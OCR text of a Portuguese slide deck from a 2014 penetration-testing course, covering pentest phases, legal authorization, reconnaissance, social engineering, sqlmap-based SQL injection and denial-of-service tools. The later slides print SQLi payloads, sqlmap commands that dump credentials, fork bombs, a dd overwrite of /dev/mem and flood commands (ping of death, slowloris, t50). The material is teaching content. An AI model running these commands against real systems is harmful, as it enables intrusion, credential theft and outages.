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Laboratorio:
Disponivel: <<vhack | track

* 3 maquinas virtuais preparadas para
execucao dos ataques (.virtualbox)

» Backtrack 5 R3
« Kali Linux

» Debian (metasploitable)
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Sobre mim...

* Segurancada Informacéao

» Teste de Invasédo e aspectos legais

* Levantamento de Informagdes

* Google Hacking

* Engenharia Social

» Varreduras Ativas, Passivas e Furtivas de Rede
* Enumeragdes de informagdes e servigos

» Testando o Sistema

I —
Objetivos

+ E simular de forma controlada um ataque
real que normalmente é executado por
Criminosos.

» Entender a importancia da seguran¢a da
informag&o no mundo de hoje.

 Visao geral sobre Testes de Invaséo.



e
Justificativa / Motivacéao

» Entender reais riscos que vulnerabilidades
especificas apresentam ao negdcio.

« Testar de fato a seguranca da rede ou
sistema de informacéo.

» Determinar se investimentos atuais estao
realmente detectando e prevenindo ataques.

« E mais barato ser Proativo

“Seguranca da Informagéo estéa relacionada
com prote¢do de um conjunto de dados, no

sentido de preservar o valor que possuem
para um individuo ou uma organizagao.”

Principios bésicos da Seguranca da
Informacgéo

Confidencialidade

Disponibilidade

Integridade

19/11/2014

Seguranca da Informacao

Nossa Realidade

As empresas estdo usando cada vez mais a
Internet para a realizagdo de seus negocios.

O valor da informacao € o cerne do negécio.

Integridade: Garantir que a informag&o estara integra,

livre de alteracdes e completa.

Confidencialidade: Garantir que a informacéo sera
acessada somente por quem de direito.

Disponibilidade: Garantir que a informacéo estara

disponivel para quem tem o direito de acessar.

Autenticidade: Garantia da origem da informacéo
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Principios béasicos da Seguranca da
Informacéo

Ur,

Confidencialidade

Disponibilidade

Integridade

Vulnerabilidades

Fragilidade que pode fornecer uma
porta de entrada para um atacante.

Ameacas

Agente ou agdo que se aproveita
de uma vulnerabilidade.
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Vulnerabilidades
AMEACAS
Riscos
ATAQUES

Vulnerabilidades = ponto fraco

Exemplo de vulnerabilidade:

Instalagéo:

= Falta de mecanismo de
monitoramento

= Protecdo fisica inadequada

= Energia elétrica instavel

Banco de dados:

= Falta de backup

= Armazenamento inadequado

Ameacga = uma ocorréncia, um fato

= Funcionario descontentes ou desmotivados.
= Baixa conscientiza¢@o no assunto de Seguranca.

= Desastres (naturais ou ndo, como incéndio,
inundac&o, terremoto, terrorismo).

= Falta de politicas e procedimentos implementados.



Riscos

E a relag&o entre a probabilidade e o
impacto da ameaca ocorrer.

Ataques

Incidéncia da ameaca sobre a
vulnerabilidade.

Areas de atuac&o e Servicos de
Seguranca

» Criagao de Politicas de Seguranca
* Hardening de Servidores

* Andlise de Vulnerabilidade

« Teste de Invasao

» Andlise de Aplicacao

+ Pericia Computacional

« Treinamento de Colaboradores

* Auditoria
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Exemplos de Impacto
* Perda de clientes e contratos.
« Danos a imagem.

* Perda de produtividade.

Ataques

* Interno ( 70% do ataques )
v’ Funcionérios insatisfeitos
v Funcionarios despreparados

Y

* Externo
v Crackers
v' Concorrentes
v’ Espionagem Industrial
v’ Terroristas

Testes de Invasao
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Objetivos:
» Fornecer uma viséo geral sobre testes de

invasao

» Entender a anatomia e os tipos diferentes de
ataques

» Conhecer as fases de um teste de invasao

» Conhecer as metodologias e os aspectos
legais.
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Tipos de abordagens de Teste
de Seguranca

O que vocé sabe sobre o ambiente?

* Blind

» Double blind

» Gray Box

* Double Gray Box
* Tandem

* Reversal

Tipos de Pentest
= Gray Box:

Auditor tem conhecimento parcial do alvo, e
0 alvo sabe que sera atacado e também sabe
quais testes seréo realizados..

= Double Gray Box :
Auditor tem conhecimento parcial do alvo, e

o alvo sabe que seréa atacado, porém, ndo
sabe quais testes serdo executados.
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Visao geral sobre Teste de Invaséo

* Teste de Invasao é um processo de
analise detalhada do nivel de seguranga
de um sistema ou rede usando a
perspectiva de um infrator.

Tipos de Pentest
= Blind:

Auditor ndo conhece nada sobre o alvo
que ird atacar, porém o alvo sabe que sera
atacado e o que sera feito durante o teste.

= Double Blind:

Auditor ndo conhece nada sobre o alvo, e 0
alvo ndo sabe que sera atacado e tdo pouco
sabe quais testes o auditor ira realizar.

Tipos de Pentest
= Tandem: ( caixa de cristal )

Auditor tem total conhecimento sobre o
alvo, o alvo sabe que sera atacado e o que
sera feito durante o ataque.

= Reversal: (equipe de respostas a incidente)

Auditor tem conhecimento total do alvo,
porém o alvo ndo sabe que sera atacado, e
tdo pouco sabe quais testes serao
executados.



White Hat # Black Hat
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Kali e o Backtrack Linux: ferramentas,
muitas ferramentas

<< back | track B\

Levantamento de Informacdes

E fase mais importante de um ataque e de
um teste de invasdo. Baseado no que é
descoberto nessa fase, todo o planejamento é
realizado e os vetores de ataque definidos.

e Concorrentes

e Nome de Funcionarios
e Enderecos

o Telefones

e Sites

e Empresas

e Comunidades Sociais
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H& um mundo de diferenga entre os
dois lados, essas diferencas podem
ser reduzidas a trés pontos principais:

 Autorizacao
* Motivagdo
* Intencéo

Fases de um Teste de Invasao

» Levantamento de Informagdes
* Varredura

* Ganhar acesso

* Manter acesso

» Apagar rastros

Varredura
O atacante busca informagdes mais detalhadas
do alvo, que permitir enxergar as possibilidades em
ganhar acesso ao sistema, através da exploragao
de alguma falha encontrada.

e Qual sistema operacional o alvo utiliza?

e Quais os servicos estdo sendo executados no alvo?

e Quais servicos estdo disponiveis para acesso?

e Qual a verséo de cada servigo sendo executado?

e HA IDS/IPS narede?

o Ha firewalls na rede?

e Existe uma rede interna e outra externa, como uma DMZ?



Ganhando acesso
O atacante coloca em préatica tudo
aquilo que planejou a partir das informagdes
obtidas previamente.

e Captura de trafego de rede

e Ataque de engenharia social

e Ataques as aplicagbes WEB

e Exploracdo de sistema operacional

Apagar rastros

O atacante apaga todos 0s seus
rastros, todos os registros de operacdes
realizadas dentro do sistema
comprometido.

Como o pentester tem AUTORIZACAO
para realizar os testes, ndo é necessario
apagar os rastros.

Como conduzir um Teste de
Invasao
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Mantendo acesso

O atacante busca, de alguma forma,
manter 0 acesso conseguido atraves de
seus ataques.

O risco de configurar o sistema,
implantando uma backdoors é que outras
pessoas podem descobri-las, explora-las e
ganhar acesso facilmente ao sistema
comprometido.

Metodologias existente

+ OSSTMM: voltada mais para testes em
sistemas e infraestrutura.

+ OWASP Testing Guide: ja é especifica para
testes de invasido em aplicacdes Web.

+ ISSAF: foca na andlise e Testes de
seguranca, nas areas técnicas e gerencial.

Case Penetration testing

Suponha gue vocé seja um pentester ético
trabalhando para uma empresa de seguranga. Seu
chefe entra em seu escritério e entrega um pedago
de papel a vocé. “Acabei de conversar com a
Gerente daquela empresa por telefone. Ela quer
que meu melhor funcionéario — ou seja VOCE —
realize um pentest em sua empresa. Vocé acena
com a cabega, aceitando a tarefa. Ele sai... Vocé
revira o papel — ha apenas uma Unica palavra
escrita:



TABAJARA

E uma empresa da qual vocé nunca
tinha ouvido falar antes e ndo ha
nenhuma outra informacgé&o no papel.
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Aspectos legais de um Teste de Invasao
e Limites do teste: até onde pode ir;

e Horéarios: periodos de menor utilizagdo ou menos criticos;

e Equipe de suporte: caso haja alguém para tomar
providéncias caso alguém ataque tenha efeitos colaterais;

e Contatos: ao menos trés contatos, com e-mail, endereco e
telefone;

e Permissdo assinada: um documento assinado pelo
responsavel pela empresa, com os nomes das pessoas da
equipe autorizadas a realizar os testes.

Estratégia no Levantamento de
Informacdes

O levantamento passivo faz uso da vasta
guantidade de informacgdes disponiveis na
web.

Quando conduzimos um levantamento
passivo, ndo interagirmos diretamente com
o alvo e, desse modo, ele ndo tera
nenhuma maneira de saber, gravar ou
registrar nossas atividades em um log.
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Abraham Lincoln, que dizia: “Se eu tivesse seis
horas para derrubar uma arvore, eu gastaria as
primeiras quatro horas afiando o meu machado.”

Estratégia no Levantamento de
Informacdes

Um levantamento de ativo inclui a interacao
com o alvo:

O alvo pode gravar nosso endereco IP
e registrar nossas atividades em um log.
Isso tem uma chance bem alta de ser
detectado se estivermos tentando realizar
um teste de invasdo de maneira discreta.

HTTrack: clonador de sites

O HTTrack é um utilitario gratuito que cria
uma copia off-line idéntica do site alvo.

O site copiado inclui todas as paginas, links
figuras e o codigo do site original, porém
permanecera em seu computador local.
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HTTrack: clonador de sites

# httrack

- Usando o Kali, o site clonado ficara no diretério
/root/websites/<nomedoprojeto>

- Ao abrir o Firefox inserir na URL
Iroot/websites/<nomedoprojeto>

Obs: <nomedoprojeto> deve ser substituido pelo
nome que foi usado ao criar a cépia.
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Google Hacking

Google Hacking é a atividade de usar
recursos de busca do site, visando atacar ou
proteger melhor as informacdes de uma
empresa.

Livros: “Google Hacking for Penetration
Testers” e “Google Hacking Database”.

Apresentacdo de Johnny long na Defcon 13.

http://www.defcon.org/html/links/dc-archives.html

Hands-on

Localizar paginas potencialmente interessantes:
 intitle:index.of

* inurl:admin

* inurl:login

Busca por conexdo VNC:

* intitle:VNC inurl:5800/5900

Pesquisar por versao de cache da homepage:

» cache:enucomp.com.br

Buscar por arquivos de base de dados em sites do
governo:

« site:gov.br filetype:pptx

* site: gov.br ext: SQL

19/11/2014

Google Hacking

I —
Comandos Avancados do Google
Para usar adequadamente uma diretiva

do Google, trés dados s@o necessarios:

1. O nome da diretiva que vocé quer
usar;

2. Dois pontos;

3. O termo que vocé quer usar com a
diretiva.

A eficiéncia das diretivas no Google

G() gle enucomp com br ppix E@“

Web  Videos  Imagens  Noticias  Shopping  Mais~  Femamentas de pesquisa

Aproximadamente 43 resultados (0,34 sequndos)

GO gle ‘ site:enucomp.com br filetype pptx =] \"; “
Web  Imagens  Noticias  Shopping ~ Mapas  Mais »  Femamentas de pesquisa

4 resultados (0,16 segundos)
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Consultando websites antigos

* www.archive.org

U Possibilita que acessemos versoes
mais antigas de qualquer site que ja
tenha sido publicado na web.

* Vamos consultar algum site!

|
FootPrint

E a etapa a ser realizada em um teste de
intrusdo. Durante essa etapa, o Pentester coleta
0 méaximo de informagdes para alimentar a
anatomia de ataque.

Ex: topologia da rede, sistemas operacionais,
guantidade de maquinas e localizagao fisica.

Podemos dizer que é a fase em que o
Pentester se prepara para realizar o ataque.

Consulta ainformacdes de dominio

Whois: Conhecer detalhes referentes ao
dominio do cliente.

# whois <dominio.com.br>

Consulta através da web:
http://registro.br/cgi-bin/whois/
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Webspiders

* http://www.dominio.com.br/robots.txt

0 S&o programas que navegam automaticamente
por websites para coletar informacdes.

QO Portanto, os arquivos robots.txt podem revelar
informagdes sobre arquivos e diretérios que
poderiamos nédo conhecer e até mesmo nao
estando linkado no site.

* Vamos consultar algum site!

Footprint:

Em média, um pentester gasta 70% do
tempo analizando um alvo levantando
informacdes sobre 0 mesmo.

Apenas 30% do tempo e usado para
realizar o ataque e avaliar a possibilidade de
um atacante realizar procedimentos pos-
invasdo na maquina alvo.

Consultando servidores DNS

Servidores DNS s&o um alvo excelente
para os hackers e os pentesters. Normalmente,
esses servidores contém informacdes
consideradas altamente valiosas pelos
invasores.

10
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Consultando servidores DNS
Ferramentas pra extrair informagdes do DNS.

* host —v —t NS <dominio>
¢ host —v —t MX <dominio>

« dig NS <dominio>
 dig MX <dominio>

* Dnsenum <dominio> dns.txt (Transferéncia de Zona)
# cd/pentest/enumeration/dns/dnsenum/
# /dnsenum.pl <dominio.com.br> dns.txt

The Harvester: descobrindo e
tirando proveito de end. de e-mail

Essa ferramenta nos permite catalogar
de forma répida e precisa tanto os enderegos
de e-mail quanto os subdominios
diretamente relacionados ao nosso alvo.

Extraindo informacdes do
cabecalho do e-mail

* Analise de e-mails é normalmente feita
pela area de Forense Computacional.
Porém, podemos obter informacgdes
sobre o host da pessoa,
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Netcraft

* http://lwww.netcraft.com

Dentro de alguns servigcos que ela
fornece esté a analise de mercado para
empresas de web hosting e servidores
web, incluindo detecg¢éo do sistema
operacional e versao do servidor web,

The Harvester: descobrindo e
tirando proveito de end. de e-mail

O The Harvester pode ser usado para pesquisas
de e-mails, hosts e subdominios em servidores
Google, Bing e PGP, bem como por usuérios no
LinkedIn.

# theharvester (Kali)
# pentest/enumeration/theharvester (BackTrack)

# .Itheharvester.py —d <dominio> -I 10 —b <google, bing,
Linkedin> all

Extraindo informacdes do
cabecalho do e-mail

* No cabecalho é onde encontramos diversos
campos com informacgdes de controle,
destinatario, remetente, data de envio,
dentre outras informacoes.

» O campo que interessa nos é o campo
“Received” onde contem o enderego IP de
onde a mensagem de correio eletrdnico
partiu.

11



Teste de cabegalho de e-mail

Sexta-feira, 7 de Maio de 2010 11:56

From Felipe Santos Fri May 7 14:56:10 2010

X-Apparently-To: baphometioki@yahoo.com.br via 67.195.8.190; Fri, 07 May 2010 07:56:36 -0700
Return-Path: <neetfel@gmail.com>

X-YMaillSG:

DV3S52h.i1n2Q_f IRi_t KNgO: IngYofd
JakGFNaN1rFAYx38yNwtkzVipF2P.auE.DUgm
QhkbpAdAPCKdbIMNDQ MO 0_4_0u2Ne7sbg130x OF2vg.u9C wFC
‘ewHWVdxY_vmYz2Xxc.BrlycraglE08Id1tMTdaF2f7kULIOR
UOKAdxm1y72YW XPIL84c2uXXOAKYWgZPoA6037IVVEIWkLQXT8Q7AezVgr7DHPY DFsmCi

RGBT12Q9pkKYa03IW2IZQUGBIXedP7dzXIMOWX2GTDM 1WNAUIAD. 20SA-

X-Originating-IP: [209.85.217.219]

Authentication-Resuts: -mta1079.mail.sk1.yahoo.com from=gmail.com; :from=gmail com; dki

Received: _from 127.0,0.1 (EHLO mail-gx0-219.google.com) (209.85.217.219) by mta1079.mail.sk1.yahoo.comwith SMTP: Fri, 07 May 2010
07:56:36-0700

Received: by mail-gx0-f219.google.com with SMTP id 0 for m.br>; Fri, 07 May
(PDT)
: v=1; a= d=gmail.
pe; OHOCAKE5BBPQ2ML =
b=CYKBO1Xf3yKKkxCEX7L JSK5eVKUJ09CS
' QQ IykALPD) STFUp20bbUGIABGPEL FCiW2l=
a=rsa-shal; c=r 1 d=¢ com; s=gamma; h=1 type;

b=Medodel 1ZINUHBVOLIZhudCurMouAQscyQ

935pqC: NGD i SHULICha T
Received: by 10.150.243.17 with SMTP id q1 103. Fri, 07 May 156 (PDT)

MIME-Version: 1.0

Received: by 10.151.8.14 with HTTP; Fri, 7 May 2010 07:56:10 -0700 (PDT)
From:  Este remetente é verificado pelo DomainKeys

Felipe Santos <neetfel@gmail.com>

Adicionar remetente a lista de contatos

Date: Fri, 7 May 2010 11:56:10 0300

Subject: =?1S0-8859-17Q?Teste_de_cabe=E7alho_de_e=2Dmail>=
To: baphometioki@yahoo.com.br

Content-Type:
Content-Length: 482
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Objetivos

» Mapear hosts ativos na rede

» Obter versdes dos sistemas
operacionais

* Identificar os servicos em execucao

Fingerprint Passivo

U Fica “ouvindo” a rede para coletar
informacgbes(S.0) sobre os dispositivos.

* Vamos executar o pOf
obs: colocar interface em modo promiscuo

# pOf —i ethO —o log

19/11/2014

Varreduras ativas, passivas e
furtivas de rede

Motivacéo

“Cada porta aberta € um
ponto de ataque em potencial...”

e
Descobrindo o S.O usando icmp

Um simples ping € capaz de revelar o sistema
operacional de uma maquina. A informacé&o importante
estd no campo TTL (Time To Live). A maioria dos
sistemas operacionais se diferencia pelo valor retornado
de TTL

Ping <host> -> Ver TTL
¢ Linux - Normalmente 64
* Windows - Normalmente 128

» Cisco - Normalmente 255
« Linux + iptables - Normalmente 255

12
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Calculando o HOP

Usando os comandos traceroute e
ping conjugados para obter
informacg@es, podemos calcular o ttl e
descobrir o S.O
# traceroute <dominio>

# mtr <dominio:>

Engenharia Social

Password?

Engenharia Social

+ Arte de enganar pessoas para conseguir
informagdes, as quais ndo deviam ter acesso.
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# nmap —v —O <dominio.com.br>

Realiza varredura, buscando ativos, portas
abertas e servicos sendo executados.

# xprobe2 <dominio.com.br>

Analisa banners de sistemas operacionais,
comparando com um banco de dados interno, onde
compara-os e informa o S.O. utilizado e a versédo
do mesmo.

# xprobe2 —p TCP:80:0pen <dominio>

Objetivos

» Entender o que é Engenharia Social
« Entender Dumpster Diving

» Entender os riscos associados a
Engenharia Social

Tipos de Engenharia Social
U Baseadas em Pessoas
+ Disfarces
* Representagdes
* Uso de HelpDesk
U Baseadas em Computadores
+ E-mails falsos

» Cavalos de troias anexados a e-mails
*  Web site falso

13
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Tipos de ataques

* Insider Attacks
* Roubo de identidade
» Phishing Scam

+ Dumpster Diving

I —
Tipos de ataques

* Phishing Scam:

E uma forma de fraude eletronica,
caracterizada por tentativas de adquirir
informagdes sigilosas, ou instalar programas
maliciosos na maquina alvo.

* Dumpster Diving:
E o ato de vasculhar lixeiras em busca de
informac®es.
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Tipos de ataques

+ Insider Attacks:
Insiders séo pessoas de dentro da propria
organizagéo.

* Roubo de identidade:

Quando alguém cria uma nova
identidade baseando-se em informacdes de
outra pessoa, essa identidade é chamada de

“laranja”.

Phishing Scam
PUA &N 2010
"% Tribunal Superior Eleitoral

O programs Mesirio Elsitoral fol ¢
senigos eletorais nas mesas recept
do ter

2 protensio de Incentir o sleitorado voltado ) prestagio de
de votos. O Tribunal Superior Eleitoral, considerando a importincia
realizs, desde 2004, agBes nesse sentido.

O projeto busca » amplialo do
Pretende-ce, nesse contexts, cads

de colaboradores da Justica
irios, universitirios ou nlo,
e suss stribuigBes n

oral, de forma consclente
icados e aptas » desempenhar

o programa Messria Eisitors! no enderego
en btm

Praga e Tribumat Supariores - Bioce C - Stor e Aurarcuas S, Beaciia - DF - TO096.%00 - Beastl

| http://ad.vulzeh?www.tse. htm

Engenheiros Sociais

HISTORIAS REAIS =YL
DE UM MENTIROSD -

ESTA a DUTRAS
HISTORIAS DO
MAIOR PICARETA

D0 BRASIL

Caracteristicas humanas exploradas para
aplicacdo da engenharia social:

v Formacéo profissional;
v Vontade de ser util;
v Busca por novas amizades;

v’ Vaidade pessoal e/ou profissional;

14



Navegacao Andnima

TOr

Enumeracéo de Informagdes e
Servigos

19/11/2014

[
O Basico sobre o SET

Social Engineer Toolkit

O SET é uma framework de exploracédo de falhas
totalmente dedicado a engenharia social, permitindo
criar varios vetores sofisticados de ataque.

No Kali Linux

# se-toolkit

BackTrack
# Ipentest/exploits/set/

Anonymizer

O Os programas de anonymizer funcionam
basicamente mascarando o IP fazendo com que se
navegue utilizando um proxy externo, fornecendo o
dele como IP real.

OVersbes pra Linux e Windows
TOR - The Onion Router
 http://www.torproject.org/

O Acesse o site http://www.geoiptool.com e veja se
o IP esta diferente, assim como o local de onde
esta acessando.

|
Objetivos
* Mapear a rede

* Descobrir servicos e versdes sendo
executadas no sistema alvo.

* Facilitando a posterior pesquisa de
vulnerabilidades e exploits especificos.

15


http://www.torproject.org/

Enumeracéo

« As técnicas de enumeragédo séo utilizadas
como um complemento as fases de
fingerprint e varredura.

» Além disso, na fase de enumeragéo,
mapeamos toda a rede do alvo, descobrindo
os pontos falhos e onde podemos explorar

para conseguir acesso a informacdes
estratégicas.

Capturando banner de aplicactes
(de forma ativa)

# nmap —sV -0 <IPMT> -p 25
# xprobe2 —p TCP:80:0pen <IPMT>

# amap <IP MT> <porta>

Abordaremos nos tépicos seguinte exemplos
de ferramentas existentes no Backtrack 5 R3 que
permitem mapear a rede graficamente.

P

bl<a<g‘;1lc‘k | track
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N
Técnicas Classicas

Sem utilizar ferramentas especificas, é
possivel conseguir informagdes dos servigos que
estdo sendo executados em determinada porta.

Obtendo banner de um servidor ftp:
#ftp <IP MT>
Obtendo banner de um servidor de e-mail:

#telnet <IP MT> 25

Mapeando graficamente a rede

Ferramentas

* Lanmap?2

* AutoScan
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Ferramentas

« Lanmap2:

Varre toda a rede e captura pacotes, criando
ao longo de sua execucao um arquivo .PNG com
0 mapa da rede, informando graficamente a
relagdo das maquinas encontradas.

I
Mapeando graficamente a rede

* Lanmap2
# pentest/enumeration/lanmap?2/src
# .Icap (capturar informacdes da rede alvo)

# pentest/enumeration/lanmap?2/graph
# ./graph.sh (permite gerar o grafico da captura)

# pentest/enumeration/lanmap?2/graph
net.png - Arquivo gerado

19/11/2014
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Ferramentas

« AutoScan:

Faz varredura na rede e informa hosts
ativos, portas abertas e servigos sendo
executados. Funciona através de uma
interface gréfica.

Vulnerabilidades em Aplicacbes
Web

OWASP

The Open Web Application Security Project
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Objetivos

» Entender o funcionamento das aplicagcbes
web.

» Aprender a explorar as principais classes de
vulnerabilidades em aplicagdes web.

Por que é tdo perigoso?

+ AplicacBes web sao criticas para a seguranga
de um sistema porque usualmente elas estao
conectadas com uma base de dados que
contém informagoes tais como cartdes de
crédito e senhas.

Top 10 OWASP

* SQL Injection

« Command Injection

» Cross Site Scripting (XSS)

» Insecure Direct Object Reference

* Falha de Autenticacdo e gerenciamento de
sesséo

» Falhas em configuragao de seguranca

* Insecure Cryptographic Storage

* Failure to Restrict URL Access

« Insufficient Transport Layer Protection

» Unvalidated Redirects and Forwards

19/11/2014

N
Conceito

* AplicacBes web séo programas que ficam em
um servidor web e executam tarefas para dar
uma resposta ao usuario.

* Webmails, web féruns, blogs, Lojas virtuais
etc... sdo exemplos de aplicagbes web.

Principais Classes de Vulnerabilidades

+ Baseado no TOP 10 OWASP, que é um
ranking das 10 maiores vulnerabilidades
WEB atualizado anualmente, seguem abaixo
as vulnerabilidades mais exploradas em
aplicagbes WEB:

e
SQL Injection

* SQL Injection é um problema que ocorre
quando o programa nao filtra caracteres
especiais enviados pelo usuario antes de
fazer a requisi¢éo para o banco de dados,
enviando caracteres que serdo interpretados
pelo banco de dados.
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Vamos analisar o trecho do c4digo abaixo:

" "

Select * from usuarios where username = " + username + " and password

w

="+ password ';

Como ficaria a chamada no banco de dados se envidssemos
no username e password o contetdo: “or ‘“1’=1

Resposta:
Select * from usuarios where username € or ‘1’=1’xnd password = “ or
=

Como 1 é sempre igual a 1, teremos uma “verdade”
e passaremos pela checagem.

I
Sqlmap

Exemplo:
http://dominio.com.br/?paginas=conteudo&id=10

# cd /pentest/database/sqlmap

Executar: (tentar extrair o nome da base de dados)
# ./sqlmap.py --url

http://dominio.com.br/?paginas=conteudo&id=10
--current-db

1
Sqglmap

Exemplo:
http://dominio.com.br/?paginas=conteudo&id=10

# cd /pentest/database/sqlmap
Executar: (tentar extrair tabelas)
# ./sqlmap.py --url

http://dominio.com.br/?paginas=conteudo&id=10 -D
‘clacpef’ -- tables

19/11/2014

Exemplos de SQL Injection

e 'or'l

« 'or'l'=1

* 'or 1=1-'or"='
* 'or'a'="a

« )or(a="a

« 'or'=1

% root@bt: /pentest/database/sqimap

ybase AND error-based - WHY

error-based ~“WHERE or HAVING clause

ing
[INFO] testing '
[INFO] GET para
ble
[INFO]f testing 'MySQL UNION, quer
[#NFO] " automatically extending rani
ests as there at least one othi
[INFO] ORDER

ge for current UNION query
01] [INFO] s to have 3 columns in query
] [INFO] C 'id' is 'MySQL UNION query (NULL) -

is vulnera Do you want to keep testing the others (i

% root@bt: /pentest/database/sqlmap
View Terminal Help
[INFO]
[INFO]
[INFO]
[INFO] ri
[INFO]
[INFO]
[INFO] i
[INFO] retr:
[INFO]
[INFO]
[INFO]
[INFO]J r
[2NFO0]
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http://acepf.com.br/?paginas=conteudo&id=10
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X root@bt: /pentest/database/sqimap |

Help
0] [INFO] retrieved: "newsletter

0] [INFO] retrieved: "noti 2 Sqlmap

riev "videos"

Exemplo:
http://dominio.com.br/?paginas=conteudo&id=10

banners , # cd /pentest/database/sqlmap

configurac

contato

Executar: (tentar extrair colunas da tabela “login”)

# ./sqlmap.py --url
http://dominio.com.br/?paginas=conteudo&id=10 -D
‘clacpef’ -T ‘login’ -- columns

| e e

File Edit View Terminal Help

Sqglmap 07:39:35] [INFO] th d DBMS is MySQL

er operatin /ste Linux Debian or Ubuntu 6.0 (squ

Exemplo:
http://dominio.com.br/?paginas=conteudo&id=10

# cd /pentest/database/sqlmap

Executar: (extrair os dados de “login,senha”) database *clacpef}
07:39:527 [ZNFO]
[07:3 [INFO]
# ./sqlmap.py --url [7:39:52] [INFO]
http://dominio.com.br/?paginas=conteudo&id=10 —-D ik
‘clacpef’ -T ‘login’ —C ‘login,senha’ --dump [0 [INFO]

[INFO] g "admin",
[INFO] ana 1g table dump Tor possible pas
in column 'senha'. Do you nt to crack

Edit View Terminal Help

0] [INFO] fetching columns like 'login, senha' for table 'login’ in
'clacpef’
:52] [INFO] the SQL query used returns—2-€ntries
2] [INFO] retr. "login", "varchar (45)"
[INFO] retr. ", "varchar(32)"
[67:39:52] [INFO] entries of column(s) 'login; senha' forstable 'l4
gin' in database
07:39:53] [INFO] SQL query used returns 1 entries

"adnin®, "21232f297a57a5a743§94a0e4a801fc3" Testando o Sistema

ible passu hashes in column fsenha'. Do you want to crack

[
[
[07:39: NFO]fapalyzing_table dump for possible password-hashes
=
t tionary-based attack? [Y/n/q] Y

0] using hash method 'md5_generic_passk
do you want to us
] default dictionary file ‘Epemtest/database/sqlmap xt/wordlist.txt' (prg
[2] custom dictionary fi

[3] file with list d ionary files
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I
Objetivos

« Entender o que é DoS, DDoS.

+ Entender como ocorrem ataques de
negacao de servico.

» Na maior parte das vezes, o objetivo do
atacante ndo € conseguir acesso a
informacdes, roubo de dados, ou tomar o
controle da maquina.

+ O objetivo é realmente causar a
indisponibilidade de servicos nos sistemas
do alvo, e isso pode levar a potenciais
prejuizos financeiros, do ponto de vista
comercial, por exemplo.

e
DoS

* Realizado através de um Unico computador.

* Ping da Morte: envia pacotes de tamanho
elevado e numa frequéncia também alta
(milhares de vezes por segundo).

19/11/2014

N
Denial of Service Attack

* Qualquer tipo de ataque que afete o pilar
“Disponibilidade” da triade Confidencialidade-
Integridade-Disponibilidade, pode ser considerado
um ataque de negacéo de servico.

*  Exemplos:
*puxar a tomada de alimentacédo de energia de um
servidor.

*até utilizar uma rede zumbi para ataque em
massa.

N
DoS

+ Tentativas de impedir usuarios legitimos de
utilizarem um determinado servigco de um
computador.

* Quando um computador/site sofre ataque DoS,
ele ndo € invadido, mas sim sobrecarregado.

* Ping da Morte

ping -i 1 -1 65500 (ip de destino ou nome host) -t
-i 1 - ointervalo entre cada ping. No caso, 1 ms.

-I 65500 - o0 tamanho do pacote, em bytes (este é o
maior tamanho possivel).

alvo - o IP ou 0 nome (se houver uma tabela de
hosts ou um servidor DNS disponivel) do destino.

-t enviar a requisi¢do por tempo indeterminado ou até
usuario cancelar (CONTROL + C)

21



I —
Exemplos de DoS
© $:0{:&

* $dd if=/dev/zero of=/var/spool/mail/meu_usuario
* $ perl — e ‘while (1) { fork();
« open $fh, “</proc/meminfo”;
« open $hf, “>/tmp/bla”; }'
* $dd if=/dev/urandom of=/dev/imem
* $ perl -e *fork while fork’

Em Windows:
* Em um .bat: %0|%0

Ou:
. s
« start %0
* goto:s

S
Fork Bomb  :Q{:|:&};:

Cria uma fungéo
funcéo : ()

Dentro dela chama ela mesma e direciona a
saida pra ela mesma “Looping”
funcéo :|: funcéo &

E depois chama a fungéo
};: fungéo

DDoS i

+ E um ataque DoS ampliado, ou seja, que
utiliza até milhares de computadores
para atacar um determinado alvo.

+ Esse é um dos tipos mais eficazes de
ataques e ja prejudicou sites conhecidos,
tais como os da CNN, Amazon, Yahoo,
Microsoft, Sony, eBay...

19/11/2014

Fork _Bomb

O{ :]:& }::

Ferramenta DoS

C4

« Ferramenta que gera ataques de DoS em redes
locais com SYN Flood.

# ./c4 -h [ip_alvo]

Parametros:
-h destination ip/host
-p destination port range [start,end]
-t attack timeout
-1 % of box link to use

Modelo de ataque - DDoS

l Atacante

r 1

_— =
' Mestre N Mestre

=

' Vitima
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Ferramenta DDoS

* Loic

» SlowLoris

* t50

ff Low Orit ln Cannon | When harpoors, i srikes and nukes fil | 1000 01 E i

IMMA CHARGIN MAH LAZER

Ferramentas DDoS

19/11/2014

Ferramentas DDoS

gy
* Loic (Windows, Mac e Linux) \\/i 1 ‘\/)
N\ 74

* Funcionamento:

O site alvo é inundado com pacotes de
requisi¢cdo TCP ou UDP com a intengdo de
sobrecarregar o servidor, fazendo com que ele deixe
de responder as requisi¢des legitimas.

E frequente o uso de botnets para efetuar ataques
através do LOIC.

|
Ferramentas DDoS
* SlowlLoris
Funcionamento:
Tentar manter muitas conexfes aberta com servidor
web destino e manté-los abertos o maior tempo

possivel até encher o maximo de conexdes
simultanea.

# perl slowloris.pl —dns <dominio>

Ferramentas DDoS

d t50 criada pelo brasileiro Nelson '
Brito no intuito de fazer testes de invasao
e estabilidade de uma rede ou sistema.

Funcionamento:

Envia um numero altissimo de requisi¢cdes de
pacotes, de tal forma que o alvo ndo consiga atender
a todas requisicdes ou as atenda de forma lenta,
dessa forma o alvo pode cair ou ficar lento..

# ./t50 <dominio> --turbo --syn --flood
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http://pt.wikipedia.org/wiki/Botnet

Ferramentas DDoS

Atualmente o t50 é capaz de emitir as seguintes

requisicdes:

Mais de 1.000.000 (1 milh&o) de pacotes por
segundo de SYN Flood (+50% do uplink da rede)
em uma rede 1000BASE-T (Gigabit Ethernet).

Mais de 120.000 pacotes por segundo de SYN
Flood (+60% do uplink da rede) em uma rede
100BASE-TX (Fast Ethernet).

19/11/2014

e
Recomendacgdes

Exceto em casos que o cliente
solicite tal tipo de ataque, ndo devemos
realizar esse atagque, pois pode
prejudicar os negdcios da empresa.

http://www.facebook.com/nettfel

neetfel@gmail.com
in’

http://www.linkedin.com/in/fesantos

@nettfel
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